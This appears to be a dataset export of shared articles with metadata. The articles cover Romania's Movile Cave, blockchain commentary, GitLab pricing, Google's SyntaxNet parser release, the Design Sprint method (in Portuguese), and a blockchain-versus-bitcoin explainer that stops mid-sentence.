1463077397,CONTENT SHARED,5268351851132250,-8020832670974472349,1989667254409697230,,,,HTML,http://www.bbc.com/earth/story/20150904-the-bizarre-beasts-living-in-romanias-poison-cave,The bizarre beasts living in Romania's poison cave,"In the south-east of Romania, in Constanța county close to the Black Sea and the Bulgarian border, there lies a barren featureless plain. The desolate field is completely unremarkable, except for one thing. Below it lies a cave that has remained isolated for 5.5 million years. While our ape-like ancestors were coming down from the trees and evolving into modern humans, the inhabitants of this cave were cut off from the rest of the planet. Despite a complete absence of light and a poisonous atmosphere, the cave is crawling with life. There are unique spiders, scorpions, woodlice and centipedes, many never before seen by humans, and all of them owe their lives to a strange floating mat of bacteria. In 1986, workers in communist Romania were testing the ground to see if it was suitable for a power plant, when they stumbled across the Movile Cave. Romanian scientist Cristian Lascu was the first to make the dangerous descent. To enter, you must first be lowered by rope 20m down a narrow shaft dug into the ground Since then the cave has remained sealed by the Romanian authorities. Fewer than 100 people have been allowed inside Movile, a number comparable to those who have been to the Moon. This is partly because the journey into the cave is extremely hazardous. To enter, you must first lower yourself by rope 20m down a narrow shaft dug into the ground. The only light is from your helmet, which bounces around the walls as you descend. You must then climb down through narrow limestone tunnels coated in an ochre clay, in pitch darkness and temperatures of 25 °C. These paths eventually open out into a central cavern containing a lake. In 2010, microbiologist Rich Boden , who was then at the University of Warwick in Coventry, UK, became roughly the 29th person to see the cave. In the lake room, the atmosphere is heavy with harmful gases ""It's pretty warm, and very humid so it feels warmer than it is, and of course with a boiler suit and helmet on that doesn't help,"" says Boden, who is now at the University of Plymouth in the UK. ""The pool of warm, sulphidic water stinks of rotting eggs or burnt rubber when you disturb it as hydrogen sulphide is given off."" In the lake room, the atmosphere is heavy with harmful gases, principally carbon dioxide as well as the hydrogen sulphide from the water. The experience is said to be terrifying - and that's even if you don't have a problem with creepy-crawlies What's more, the air is low in oxygen: it contains just 10% oxygen rather than the usual 20%. Without breathing apparatus, you would soon develop a headache. Visitors can only stay down for 5 or 6 hours before their kidneys pack in. To explore the rest of the cave, you must dive into the lake and navigate narrow underwater passageways, squeezing through tiny gaps in the rock before emerging into airspaces called air bells. Doing this in complete darkness is the most dangerous part of exploring the cave. You are far from the surface, so getting stuck or losing your way in the maze of tunnels would be lethal. The experience is said to be terrifying - and that's even if you don't have a problem with creepy-crawlies. Despite the dark and the dangerous gases, Movile Cave is crawling with life. So far 48 species have been identified, including 33 found nowhere else in the world. The animals in Movile Cave seem to be without a source of food There are all sorts of scuttling and slithering things. Snails and shrimps try to avoid the spiders and waterscorpions. In the air bells, leeches swim across the water and prey on earthworms. Strangely, the worse the air gets the more animals there are. It's not at all obvious why that should be, or how the animals survive at all. On the surface, plants use sunlight to extract carbon dioxide from the air and turn it into organic compounds. They can then use these chemicals to grow leaves, roots and bulbs. Animals then feed on these plant tissues. Without sunlight, the animals in Movile Cave seem to be without a source of food. In most caves, animals get their food from the water dripping down from the surface. This water can often be seen in the form of stalactites and stalagmites. However, Movile Cave has a thick layer of clay above it, which is impermeable to water. When Lascu first visited, he could not find any stalactites or stalagmites, or any other sign of water coming from the surface. The water in Movile Cave comes from a deep underground reservoir The mystery deepened when scientists analysed the water in the cave for radioactive caesium and strontium. The 1986 nuclear accident at Chernobyl had released lots of these metals, which had found their way into the soils and lakes surrounding Movile Cave. However, a 1996 study found no traces of them inside the cave . That means the water isn't coming from above, so it must be coming from below. It now seems that the water in Movile Cave comes from spongy sandstones where it has lain for 25,000 years. However, this still doesn't explain how the animals in the cave survive. Tests have shown that the water flowing in does not contain any food particles. Instead, the food comes from the strange frothy foam sitting on top of the water. This floating film, which looks like wet tissue paper and can even be torn like paper, contains millions upon millions of bacteria known as ""autotrophs"". Sulphuric acid actually erodes the limestone, which is gradually making the cave bigger ""These bacteria get their carbon from carbon dioxide just like plants do,"" says Boden. ""The carbon dioxide level in the cave is about 100 times higher than normal air. But unlike plants, they obviously can't use photosynthesis as there is no light."" Rather than using light as an energy source, the Movile bacteria use a process known as chemosynthesis. ""They get the energy needed... from chemical reactions: the key ones being the oxidation of sulphide and similar sulphur ions into sulphuric acid, or the oxidation of ammonium found in the groundwaters to nitrate,"" says Boden. These chemosynthetic bacteria help explain why the cave is so large and the air is so thick with carbon dioxide. Movile is the only cave whose ecosystem is known to be supported in this way ""Sulphuric acid actually erodes the limestone, which is gradually making the cave bigger,"" says Boden. ""The process releases carbon dioxide, which is why levels are so high."" Another major group of bacteria get their energy and carbon from the methane gas that bubbles up through the waters of the cave. They are called methanotrophs. Boden describes methanotrophs as ""messy eaters"" that ""constantly leak metabolic intermediates like methanol and formate"" into the surrounding water. In turn, these chemicals are food for other species of bacteria. This may all sound very peculiar, and in some ways it is. Movile is the only cave whose ecosystem is known to be supported in this way, and the only such ecosystem on land. The Movile bacteria are very similar to bacteria found elsewhere But according to microbiologist J. Colin Murrell of the University of East Anglia in Norwich, UK, the bacteria in Movile Cave are remarkably simple and not at all unusual. ""The bacteria get all of their carbon from just one source, be it methane or carbon dioxide,"" says Murrell. ""That means that all of the components of their cells, be it the DNA in their nucleus, the lipids in their cell membrane and the proteins in their enzymes, are made from the same simple ingredient."" The Movile bacteria are also very similar to bacteria found elsewhere, despite having being trapped in the cave for over 5 million years. ""Methanotrophs are everywhere: the Roman Baths at Bath, the surface of seawater, the mouths of cattle and probably the human mouth and gut,"" says Boden. ""Autotrophic bacteria of the same types we found at Movile are found in almost all soils and on the surface of the skin."" The same cannot be said for the animals of the cave. Millions of years of isolation has transformed them. Many are born without eyes, which would be useless in the dark. Almost all are translucent as they have lost pigment in their skin. Many also have extra-long appendages such as antennae to help them feel their way around in the darkness. One of the spiders was closely related to a spider found in the Canary Islands - which lie over 4000km to the west There are no flies in Movile Cave, but the spiders still spin webs. Small insects called springtails bounce into the air and get caught in the webs. In 1996, researchers categorised the animals in the cave . They included 3 species of spider, a centipede, 4 species of isopod (the group that includes woodlice), a leech never seen anywhere else in the world, and an unusual-looking insect called a waterscorpion . Strangely, one of the spiders was closely related to a spider found in the Canary Islands - which lie over 4000km to the west, off the north-west coast of Africa. That raises the question, how and why did the animals get into the cave? One theory is that back at the end of the Miocene Epoch, about 5.5 million years ago, the climate of the northern hemisphere changed. As Africa moved north it stopped the Atlantic from flowing into the Mediterranean Sea, drying it out. It's very likely that the bacteria have been there a lot longer than five million years This could have forced the animals to seek refuge in the sulphurous underworld of Movile Cave. It would have been a haven, with thermal waters providing constant warmth, no competitors or predators, and a rich source of food. The problem with this theory is that it is difficult to prove. ""It's very likely that the bacteria have been there a lot longer than five million years, but that the insects became trapped there around that time,"" says Murrell. ""They could have simply fallen in and become trapped when the limestone cast dropped, sealing the cave until it was discovered again in 1986."" It may be that different animals arrived at different times. A 2008 study of Movile's only snail suggested that it has been down there for just over 2 million years . When it entered the cave, the ice age was just beginning, and the snail may have escaped the cold by going underground. However they got there, it seems that Movile's inhabitants are now trapped for good. We could learn a lot from them. It could be that the first living cells were similar to those found in Movile Cave The bacteria's ability to oxidise methane and carbon dioxide is of particular interest. These two greenhouse gases are the biggest culprits for global warming, so researchers are desperate to find efficient ways to remove them from the atmosphere. The Movile Cave microbes could also offer hints about how the first life formed on Earth. They are genetically similar to those found in geothermal vents, which are also rich in carbon dioxide, sulphides and ammonia. The conditions in both places may well be similar to the primordial Earth. In our world's early years, the Sun's light was obscured by an atmosphere thick with carbon dioxide, methane and ammonia. It could be that the first living cells were similar to those found in Movile Cave. Almost 30 years after its discovery, Movile Cave remains perhaps the most isolated ecosystem on the planet. It surely has many more secrets to give up. There are plenty more organisms buried in the cave's sediments, waiting to be identified, and they could help us understand some of our deepest questions about the nature of life.",en
1463081477,CONTENT SHARED,4463025528374352465,8766802480854827422,-2001931582541373666,,,,HTML,http://techcrunch.com/2016/05/11/the-blockchain-is-the-new-google/,The Blockchain is the new Google,"The following is an excerpt from The Business Blockchain: Promise, Practice, and Application of the Next Internet Technology by William Mougayar. In it, Mougayar waxes ecstatic about the future of distributed databases. At its core, the blockchain is a technology that permanently records transactions in a way that cannot be later erased but can only be sequentially updated, in essence keeping a never-ending historical trail. This seemingly simple functional description has gargantuan implications. It is making us rethink the old ways of creating transactions, storing data, and moving assets, and that's only the beginning. The blockchain cannot be described just as a revolution. It is a tsunami-like phenomenon, slowly advancing and gradually enveloping everything along its way by the force of its progression. Plainly, it is the second significant overlay on top of the Internet, just as the Web was that first layer back in 1990. That new layer is mostly about trust, so we could call it the trust layer. Blockchains are enormous catalysts for change that affect governance, ways of life, traditional corporate models, society and global institutions. Blockchain infiltration will be met with resistance, because it is an extreme change. Blockchains defy old ideas that have been locked in our minds for decades, if not centuries. Blockchains will challenge governance and centrally controlled ways of enforcing transactions. For example, why pay an escrow to clear a title insurance if the blockchain can automatically check it in an irrefutable way? Blockchains loosen up trust, which has been in the hands of central institutions (e.g., banks, policy makers, clearinghouses, governments, large corporations), and allows it to evade these old control points. For example, what if counterparty validation can be done on the blockchain, instead of by a clearinghouse? An analogy would be when, in the 16th century, medieval guilds helped to maintain monopolies on certain crafts against outsiders, by controlling the printing of knowledge that would explain how to copy their work. They accomplished that type of censorship by being in cahoots with the Catholic Church and governments in most European countries that regulated and controlled printing by requiring licenses. That type of central control and monopoly didn't last too long, and soon enough, knowledge was free to travel after an explosion in printing. To think of printing knowledge as an illegal activity would be unfathomable today. We could think of the traditional holders of central trust as today's guilds, and we could question why they should continue holding that trust, if technology (the blockchain) performed that function as well or even better. Blockchains liberate the trust function from outside existing boundaries in the same way as medieval institutions were forced to cede control of printing. It is deceptive to view the blockchain primarily as a distributed ledger, because it represents only one of its many dimensions. It's like describing the Internet as a network only, or as just a publishing platform. These are necessary but not sufficient conditions or properties; blockchains are also greater than the sum of their parts. Blockchain proponents believe that trust should be free, and not in the hands of central forces that tax it, or control it in one form or another (e.g., fees, access rights, or permissions). They believe that trust can be and should be part of peer-to-peer relationships, facilitated by technology that can enforce it. Trust can be coded up, and it can be computed to be true or false by way of mathematically-backed certainty, that is enforced by powerful encryption to cement it. In essence, trust is replaced by cryptographic proofs, and trust is maintained by a network of trusted computers (honest nodes) that ensure its security, as contrasted with single entities who create overhead or unnecessary bureaucracy around it. If blockchains are a new way to implement trusted transactions without trusted intermediaries, soon we'll end up with intermediary-less trust. Policy makers who regulated ""trusted"" institutions like banks will face a dilemma. How can you regulate something that is evaporating? They will need to update their old regulations. Intermediary-controlled trust came with some friction, but now, with the blockchain, we can have frictionless trust. So, when trust is ""free"" (even if it still needs to be earned), what happens next? Naturally, trust will follow the path of least resistance, and will become gradually decentralized towards the edges of the network. Blockchains also enable assets and value to be exchanged, providing a new, speedy rail for moving value of all kinds without unnecessary intermediaries. As back-end infrastructure, blockchains are metaphorically the ultimate, non-stop computers. Once launched, they never go down, because of the incredible amount of resiliency they offer. There is no single point of failure unlike how bank systems have gone down, cloud-based services have gone down, but bona fide blockchains keep computing. The Internet was about replacing some intermediaries. Now the blockchain is about replacing other intermediaries once again. But it's also about creating new ones. And so was the Web. Current intermediaries will need to figure out how their roles will be affected, while others are angling to take a piece of the new pie in the race to ""decentralize everything."" The world is preoccupied with dissecting, analyzing and prognosticating on the blockchain's future; technologists, entrepreneurs, and enterprises are wondering if it is to be considered vitamin or poison. Today, we're saying blockchain does this or that, but tomorrow blockchains will be rather invisible; we will talk more about what they enable. Just like the Internet or the Web, and just like data-bases, the blockchain brings with it a new language. From the mid-1950s forward, as IT evolved, we became accustomed to a new language: mainframes, databases, networks, servers, software, operating systems, and programming languages. Since the early 1990s, the Internet ushered in another lexicon: browsing, website, Java, blogging, TCP/IP, SMTP, HTTP, URLs, and HTML. Today, the blockchain brings with it yet another new repertoire: consensus algorithms, smart contracts, distributed ledgers, oracles, digital wallets, and transaction blocks. Block by block, we will accumulate our own chains of knowledge, and we will learn and understand the blockchain, what it changes, and the implications of such change. Today, we Google for everything, mostly information or products. Tomorrow, we will perform the equivalent of ""googling"" to verify records, identities, authenticity, rights, work done, titles, contracts, and other valuable asset-related processes. There will be digital ownership certificates for everything. Just like we cannot double spend digital money anymore (thanks to Satoshi Nakamoto's invention), we will not be able to double copy or forge official certificates once they are certified on a blockchain. That was a missing piece of the information revolution, which the blockchain fixes. I still remember the initial excitement around being able to track a shipped package on the Web when FedEx introduced this capability for the first time in 1994. Today, we take that type of service for granted, but this particular feature was a watershed use case that demonstrated what we could do on the early Web. The underlying message was that a previously enclosed private service could become openly accessible by anyone with Internet access. A whole host of services followed: online banking, filing taxes, buying products, trading stocks, checking on orders, and many others. Just as we access services that search public databases, we will search a new class of services that will check blockchains to confirm the veracity of information. Information access will not be enough. We will also want to ask for truth access, and we will ask if modifications were made to particular records, expecting the utmost transparency from those who hold them. The blockchain promises to serve up and expose transparency in its rawest forms. The old question ""Is it in the database?"" will be replaced by ""Is it on the blockchain?"" Is the blockchain more complicated than the Web? Most definitely. The blockchain is part of the history of the Internet. It is at the same level as the World Wide Web in terms of importance, and arguably might give us back the Internet, in the way it was supposed to be: more decentralized, more open, more secure, more private, more equitable, and more accessible. Ironically, many blockchain applications also have a shot at replacing legacy Web applications, at the same time as they will replace legacy businesses that cannot loosen their grips on heavy-handed centrally enforced trust functions. No matter how it unfolds, the blockchain's history will continue to be written for a very long time, just as the history of the Web continued to be written well after its initial invention. But here's what will make the blockchain's future even more interesting: you are part of it. Reprinted from The Business Blockchain: Promise, Practice, and Application of the Next Internet Technology by William Mougayar (foreword from Vitalik Buterin) with permission from John Wiley & Sons, Inc. Copyright (C) William Mougayar, 2016.",en
1463086300,CONTENT SHARED,-3980612444042641628,-1443636648652872475,-5528735230097235953,,,,HTML,https://about.gitlab.com/2016/05/11/git-repository-pricing/,The future of SaaS hosted git repository pricing,"Today GitHub announced pricing changes to all of their paid plans on GitHub.com . With these changes, paid plans on GitHub.com will now include unlimited private repositories. At GitLab, we were not surprised to hear about these pricing changes. We believe they are inline with how pricing will move in the future. At GitLab, we think per-user pricing is the best pricing model because it is more predictable, less restrictive on code, and aligned with value the organization gets. Microservices The rise of microservices, an approach to development in which you structure your software into smaller individual service-oriented units. Each microservice then runs its own process and they communicate with each other through APIs. This software development approach is known to have four primary benefits: agility, efficiency, resiliency, and revenue. With such tangible business benefits, it is no wonder why Google, Amazon, and Facebook have been using microservice development practices for over a decade. Matt Miller details the significance of microservices in his article, 'Innovate or Die: The Rise of Microservices' published in January 2016 on Sequoia Capital's blog. Unlimited repos is table stakes As more and more developers, teams, and organizations seek out the advantages of microservices, they'll need more repositories to support this new code structure. Basically, the more microservices you have the more repositories you'll need. That is why it is not surprising that GitHub has announced free private repositories. With their announcement today, now GitHub.com, Bitbucket.org, and GitLab.com all offer unlimited private repositories. It does not cost companies much more to host additional repositories for a given user. You can think of hosting additional repositories like you think about your email. Once you have an email account, you are usually not asked to pay more to store more. Unlimited repositories have become table stakes for a git hosting SaaS service. Pricing overview Price for Git repository hosting per month in popular cloud solutions Unlimited is great It's awesome that repositories have become table stakes across the market. We truly believe it will lead to better development practices since developers will no longer be constrained with physical storage or with financial limitations. However, with more repositories, we assume developers will write more code and seek out more contributors to collaborate on your projects. For some this is a price increase While the news of GitHub's pricing is great if you have a lot of repos, it is not so helpful to people who have a lot of contributors. At GitLab, we strongly believe that ""everyone can contribute."" This message is exemplified not only in how we build our own products but also in how we price them. On GitLab.com, our free SaaS version, we offer unlimited private repositories, unlimited contributors, and unlimited CI runners, all for free. Here are some examples and quote's we've read about how these pricing changes will affect GitHub users. For small teams, this announcement is a positive change. Their bill will most likely decrease, similar to this person who will see a 4X decline in their monthly bill. If you are part of a larger team, your price will likely increase. In the case of the Open edX non-profit , their price could potentially increase 10X due to the fact that they have a lot of contributors. This comment on HackerNews sums it up best: ""there is an entire category of companies (agencies / software house) where the price is going up dramatically (5x, 10x or more). One example is Ruby on Rails core alumni Thomas Fuchs that will go from $100 to $1296 per month because he has to pay for no longer active users. Business models When it comes to SaaS hosted git repository pricing models, it seems GitHub is pursuing more of a network pricing model where users are asked to pay for 3rd party services. Atlassian is leveraging their expansive product suite to get users to get additional paid services from them, like JIRA and Bamboo. At GitLab, we offer a free product with free services, for example unlimited CI Runners . Our goal is to make our solution include everything you need to go frictionless from idea to production at a price where everyone can contribute . Why is GitLab.com free Typically, when we are out introducing GitLab at events, or even to friends, they ask, how is it all free? . We currently have the following offerings: GitLab.com: Free SaaS version featuring private repos, contributors, and CI runners (powered by Digital Ocean). GitLab Community Edition: Free on-premises version featuring unlimited users and CI. GitLab Enterprise Edition: $39/user/year offering an on-premises version with additional enterprise-specific features, security, and support. GitHost.io: Paid depending on the server size you want us to host for you. We detailed our thinking about why GitLab will be free now and free forever in 2015 . Our goal has always been two-fold: to build an integrated solution that supports the full software development lifecycle and to make our products accessible so that everyone can contribute. Within our business model, we make money through our on-premises solution. This is what allows us to offer completely free products. As more and more people see the benefit of a free solution that supports coding, testing, and deployment, we are seeing more users on GitLab.com. Due to the rapid growth, GitLab.com's performance slowed down. We recognize this and we have been working really hard to make GitLab.com faster . As you explore what solutions are best for you, your team, or your company, we hope that you'll consider us. As always, if you have any questions or comments feel free to ask them here or on our Twitter . Install GitLab on your own server in 2 minutes → Browse all posts",en
1463087238,CONTENT SHARED,-4050006690189978332,-1443636648652872475,-5528735230097235953,,,,HTML,http://googleresearch.blogspot.com.br/2016/05/announcing-syntaxnet-worlds-most.html,Announcing SyntaxNet: The World's Most Accurate Parser Goes Open Source,"At Google, we spend a lot of time thinking about how computer systems can read and understand human language in order to process it in intelligent ways . Today, we are excited to share the fruits of our research with the broader community by releasing SyntaxNet , an open-source neural network framework implemented in TensorFlow that provides a foundation for Natural Language Understanding (NLU) systems. Our release includes all the code needed to train new SyntaxNet models on your own data, as well as Parsey McParseface , an English parser that we have trained for you and that you can use to analyze English text. Parsey McParseface is built on powerful machine learning algorithms that learn to analyze the linguistic structure of language, and that can explain the functional role of each word in a given sentence. Because Parsey McParseface is the most accurate such model in the world , we hope that it will be useful to developers and researchers interested in automatic extraction of information, translation, and other core applications of NLU. How does SyntaxNet work? SyntaxNet is a framework for what's known in academic circles as a syntactic parser , which is a key first component in many NLU systems. Given a sentence as input, it tags each word with a part-of-speech (POS) tag that describes the word's syntactic function, and it determines the syntactic relationships between words in the sentence, represented in the dependency parse tree. These syntactic relationships are directly related to the underlying meaning of the sentence in question. To take a very simple example, consider the following dependency tree for Alice saw Bob : This structure encodes that Alice and Bob are nouns and saw is a verb. The main verb saw is the root of the sentence and Alice is the subject (nsubj) of saw , while Bob is its direct object (dobj). As expected, Parsey McParseface analyzes this sentence correctly, but also understands the following more complex example: This structure again encodes the fact that Alice and Bob are the subject and object respectively of saw , in addition that Alice is modified by a relative clause with the verb reading , that saw is modified by the temporal modifier yesterday , and so on. The grammatical relationships encoded in dependency structures allow us to easily recover the answers to various questions, for example whom did Alice see? , who saw Bob? , what had Alice been reading about? or when did Alice see Bob? . Why is Parsing So Hard For Computers to Get Right? One of the main problems that makes parsing so challenging is that human languages show remarkable levels of ambiguity. It is not uncommon for moderate length sentences - say 20 or 30 words in length - to have hundreds, thousands, or even tens of thousands of possible syntactic structures. A natural language parser must somehow search through all of these alternatives, and find the most plausible structure given the context. As a very simple example, the sentence Alice drove down the street in her car has at least two possible dependency parses: The first corresponds to the (correct) interpretation where Alice is driving in her car; the second corresponds to the (absurd, but possible) interpretation where the street is located in her car. The ambiguity arises because the preposition in can either modify drove or street ; this example is an instance of what is called prepositional phrase attachment ambiguity . Humans do a remarkable job of dealing with ambiguity, almost to the point where the problem is unnoticeable; the challenge is for computers to do the same. Multiple ambiguities such as these in longer sentences conspire to give a combinatorial explosion in the number of possible structures for a sentence. Usually the vast majority of these structures are wildly implausible, but are nevertheless possible and must be somehow discarded by a parser. SyntaxNet applies neural networks to the ambiguity problem. An input sentence is processed from left to right, with dependencies between words being incrementally added as each word in the sentence is considered. At each point in processing many decisions may be possible-due to ambiguity-and a neural network gives scores for competing decisions based on their plausibility. For this reason, it is very important to use beam search in the model. Instead of simply taking the first-best decision at each point, multiple partial hypotheses are kept at each step, with hypotheses only being discarded when there are several other higher-ranked hypotheses under consideration. An example of a left-to-right sequence of decisions that produces a simple parse is shown below for the sentence I booked a ticket to Google . Furthermore, as described in our paper , it is critical to tightly integrate learning and search in order to achieve the highest prediction accuracy. Parsey McParseface and other SyntaxNet models are some of the most complex networks that we have trained with the TensorFlow framework at Google. Given some data from the Google supported Universal Treebanks project, you can train a parsing model on your own machine. So How Accurate is Parsey McParseface? On a standard benchmark consisting of randomly drawn English newswire sentences (the 20 year old Penn Treebank ), Parsey McParseface recovers individual dependencies between words with over 94% accuracy, beating our own previous state-of-the-art results, which were already better than any previous approach . While there are no explicit studies in the literature about human performance, we know from our in-house annotation projects that linguists trained for this task agree in 96-97% of the cases. This suggests that we are approaching human performance-but only on well-formed text. Sentences drawn from the web are a lot harder to analyze, as we learned from the Google WebTreebank (released in 2011). Parsey McParseface achieves just over 90% of parse accuracy on this dataset. While the accuracy is not perfect, it's certainly high enough to be useful in many applications. The major source of errors at this point are examples such as the prepositional phrase attachment ambiguity described above, which require real world knowledge (e.g. that a street is not likely to be located in a car) and deep contextual reasoning. Machine learning (and in particular, neural networks) have made significant progress in resolving these ambiguities. But our work is still cut out for us: we would like to develop methods that can learn world knowledge and enable equal understanding of natural language across all languages and contexts. To get started, see the SyntaxNet code and download the Parsey McParseface parser model. Happy parsing from the main developers, Chris Alberti, David Weiss, Daniel Andor, Michael Collins & Slav Petrov.",en
1463090345,CONTENT SHARED,8938071859536254465,3217014177234377440,6985013944863195494,,,,HTML,http://blog.caelum.com.br/design-sprint-onde-o-design-e-a-velocidade-importam/,Design Sprint: onde o design e a velocidade importam,"Da minha experiência ao trabalhar com startups nos últimos anos, como UX/UI designer, posso dizer que muitas vezes você é obrigado a fornecer soluções rápidas para problemas que as vezes não são tão claros assim. Outras vezes, você encontra uma solução para o problema, mas não tem como validá-lo antes de ter o produto propriamente dito. Geralmente, isso acontece por que falta tempo ou orçamento, ou até por que não há ainda uma cultura de UX tão estabelecida. Foi buscando melhorar essa equação, tempo versus processo de UX, que acabei descobrindo o Design Sprint. Com a atualização do curso de UX da Caelum , esse conteúdo também passou a fazer parte da ementa e aqui nesse post você vai aprender um pouquinho sobre o que é e quais etapas compõem o design sprint. Esse método foi desenvolvido e anunciado pela Google Ventures , um braço do Google criado em 2009, que atua de forma independente e procura acelerar empresas que possam ter futuro, em diversas áreas como em Internet, software, hardware, biotecnologia e cuidados de saúde. Para você ter ideia, a Google Ventures já investiu em cerca de 300 empresas de diversos tipos de atuações, entre elas, uma das startups que mais tem causado barulho no mercado mundial nos últimos tempos, a Uber. O que é o Design Sprint, afinal? O Design Sprint é uma metodologia centrado no usuário, iterativa, prática e colaborativa. Se baseia em design thinking e metodologias ágeis para que as equipes possam criar e prototipar soluções de forma bem rápida, previsto para 5 dias. Ao invés de gastar horas e mais horas de desenvolvimento para lançar um produto e só depois conseguir entender se a ideia é bom ou não. O Design Sprint oferece um atalho de aprendizado, onde é possível elaborar e testar praticamente qualquer ideia em apenas 40 horas, sem precisar construir e lançar o produto propriamente dito. Se você parar para pensar, inclusive, esse método, vai de encontro com uma das premissas do Lean Startup : testar hipóteses rapidamente e acelerar o aprendizado. Mesmo sendo um processo de curta duração, de 2-5 dias, o Design Sprint é formado por etapas que ora amplia a sua visão do problema, ora foca em algo específico. Em uma visão geral de cada etapa, o que acontece é o seguinte: ENTENDER/DEFINIR Na primeira etapa o foco é buscar um melhor entendimento do problema proposto pela equipe como um todo. Nessa etapa é super importante que as pessoas compartilhem seus conhecimento sobre aquele problema, isso porque a experiência e conhecimento do time é sempre assimétrica, por exemplo: vendas sabe coisas que o desenvolvimento não sabe, suporte ao cliente conhece as coisas que o design não sabe e assim por diante. DIVERGIR Busca-se explorar tantas ideias quanto for possível, esse é a fase onde tudo é possível. A princípio parece um processo de brainstorming, mas nessa etapa cada indivíduo do time vai começar trabalhando sozinho para desenhar soluções detalhadas no papel e não em grupo como é um típico brainstorming. Isso se faz dessa forma, pois como Jake Knapp (criador e evangelista do Design Sprint) percebeu, as melhores ideias tendem a vir de indivíduos e não de grupos. O problema é que grupos tem dinâmicas onde não necessariamente as melhores ideias sobrevivem, mas sim, as ideias que são mais bem vendidas e contadas com mais empolgação por alguém do grupo. Você, com certeza, já participou de trabalho em grupo e de alguma forma percebe que o indivíduo mais articulado sai em vantagem de um indivíduo mais introspectivo em situações de dinâmicas de grupo. O que o design sprint tenta fazer é eliminar essa vantagem para que todas as ideias tenham o mesmo peso. DECIDIR Na terceira etapa, você terá mais de uma dúzia de soluções para você e seu time escolher. É o momento das decisões difíceis e onde as dinâmicas de grupo também atrapalham um pouco na tomada de decisão. O que se passa em um grupo é que normalmente se toma decisão por consenso e, na maioria das vezes, consenso escolhe o caminho mais fácil de aceitar e gerar menos atrito entre o grupo, isso faz com que as ideias mais corajosas ou mais integras acabem ficando de lado. Novamente, o design sprint tenta eliminar isso, por exemplo, usando uma técnica chamada dot voting (você pode ouvir falar dela também como zen-voting). PROTOTIPAR Nessa fase o objetivo é prototipar a solução pensada pelo time. Aqui é importante ter ao fim do dia de trabalho um protótipo de média/alta fidelidade, pois como ele será testado com usuários reais, um protótipo de baixa fidelidade não lhe daria um feedback claro e efetivo. Como você e seu time só tem um dia para prototipar é super importante que o time seja muito produtivo e de preferência trabalhe com ferramentas de prototipagem com as quais o time já esteja habituado. VALIDAR Depois de todo o trabalho nas etapas anteriores, a questão mais importante que ainda nos resta é ""Como podemos saber se nossa ideia é boa?"". É nessa fase que a gente recebe a resposta para essa pergunta já que você vai mostrar os protótipos para os potenciais usuários do produto. Nesse momento o usuário vai interagir com o seu produto e lhe dar feedback real sobre que experiência ele está tendo. Óbvio que quando uma ideia arriscada tem êxito nessa etapa é uma recompensa fantástica para equipe de trabalho pois gera motivação instantânea. Mas é, na verdade, os fracassos nesse processo que, mesmo doloroso, fornecem o maior investimento, pois, afinal de contas, seu time soube que teria que buscar outro caminho ou desistir da ideia em apenas 5 dias de trabalho. Nesse post você pode ter uma visão geral do método e notar que o design sprint é todo estruturado para que você gere boas ideias, selecione-as e valide-as. No próximo post, vou retomar esse método mostrando em detalhes como planejar e organizar um design sprint e como montar o time para fazer um bom sprint. Ate lá &#x1f609;",pt
1463090835,CONTENT SHARED,2916072977192006313,-2626634673110551643,5975453253989656448,,,,HTML,https://bitsonblocks.net/2016/05/09/confused-by-blockchains-revolution-vs-evolution/,Confused by blockchains? Revolution vs Evolution,"This article attempts to explain the difference between the revolutionary disruptive innovation of bitcoin and the evolutionary efficiency innovations of industry workflow tools , and why calling them both ""blockchains"", even as a generic term, is incredibly confusing. For the rest of this post, I will use the phrase ""industry workflow tools"" instead of industry blockchains, as some of the emerging solutions being proposed in this space are not blockchains (eg, R3's Corda is not a blockchain but DAH's solutions are - however, both companies are proposing industry workflow tools). Just as it's not helpful to call Twitter and Microsoft Sharepoint ""database companies"" although they both use variations of databases, it's not helpful to call cryptocurrencies, cryptocurrency companies, blockchain platforms and industry workflow tool companies ""blockchain companies"", although this frequently happens in the popular press. Why? Because you don't want to create misunderstandings like ""But I thought you could only use 140 characters in Sharepoint."". To be clear, both cryptocurrencies and industry workflow tools both have admirable objectives in their own ways for their own purposes, as do both Twitter and Sharepoint. Disruptive innovation: Public Cryptocurrencies The purpose of bitcoin , according to Satoshi Nakamoto's original whitepaper is to create "" A purely peer-to-peer version of electronic cash [which] would allow online payments to be sent directly from one party to another without going through a financial institution "". This is new and radically different to anything that has ever existed before. It is meant to enable: value to be held electronically without any third party being involved, and value to be transmitted without a specific third party being able to censor the transaction at will. The problem statement is: How do we use technology to create a financially inclusive system that anyone can participate in? The proposed solution is: Efficiency innovation: Industry Workflow Tools The purpose of successful incumbent institutions is to maintain and improve on their position by keeping customers happy, increasing revenues, reducing costs, becoming more efficient - ie to maintain a competitive, well-run business. The problem statement is: How do we use technology to improve our business and add shareholder value? The proposed solution is: Use industry workflow tools These are incredibly different, more or less polarised problem statements, requiring incredibly different and targeted solutions. Blockchains have somehow been caught in the middle. So why the conflation? Why are people confused about these entirely separate problems and solutions? Somehow in all the hype and PR, industry workflow tools still seem to have retained some of the connotations of bitcoin, when industry workflow tools and cryptocurrencies have almost the opposite ideology! Industry workflow tools and bitcoin are both separately exciting and innovative, but for very different reasons. How did the confusion happen? 2013 In 2013 The 'thing' was bitcoin. No one really talked about ""blockchain"" apart from talking about bitcoin's blockchain, ie the replicated ledger of all bitcoin transactions. It was called ""the blockchain"" because there was only one. (I am excluding the alt-coins like Litecoin, Dogecoin and other digital tokens as they only take up a tiny fraction of the mind-share of bitcoin). 2014 In 2014, because bitcoins were described as a new currency, the financial industry started to take notice. Bitcoins were pitched to the financial industry as an investment (buy bitcoins because the price will go up) and a trading asset (buy and sell bitcoins because you can make money) and a strategy (integrate bitcoin functionality because your customers will want it). The financial services industry as a whole wasn't interested in an anonymous, open, unregulated self-declared 'currency', backed by no government or central bank. They had no mandate to invest, and no framework to price it or understand it. Associations between bitcoins and scams, drugs and underground markets made the concept even less tasteful for traditional financial service industry participants. Even those who saw some potential were mostly put off by the small size and illiquidity of the market. 2015 In late 2014/15 the narrative moved away from bitcoins, towards blockchains and distributed ledgers (replicated ledgers without necessarily having chains of blocks). Institutions were saying ""We're not interested in bitcoin, but we are interested in the data-sharing technology behind it, the Blockchain"". In summary, "" Bitcoin bad, blockchain good "". The industry responded. In an attempt to garner interest, funding, customers, and higher company valuations, many bitcoin companies started rebranding as blockchain companies using more or less a text find-and-replace strategy (find the word 'bitcoin' and replace it with 'blockchain'). This was also to avoid the negative connotations of the word 'bitcoin', and to participate in the interest in the word 'blockchain'. I have heard the phrase ""we send it on/over/using blockchain"" or ""using blockchain technology"" as a deliberate tactic not to use the word bitcoin, and to 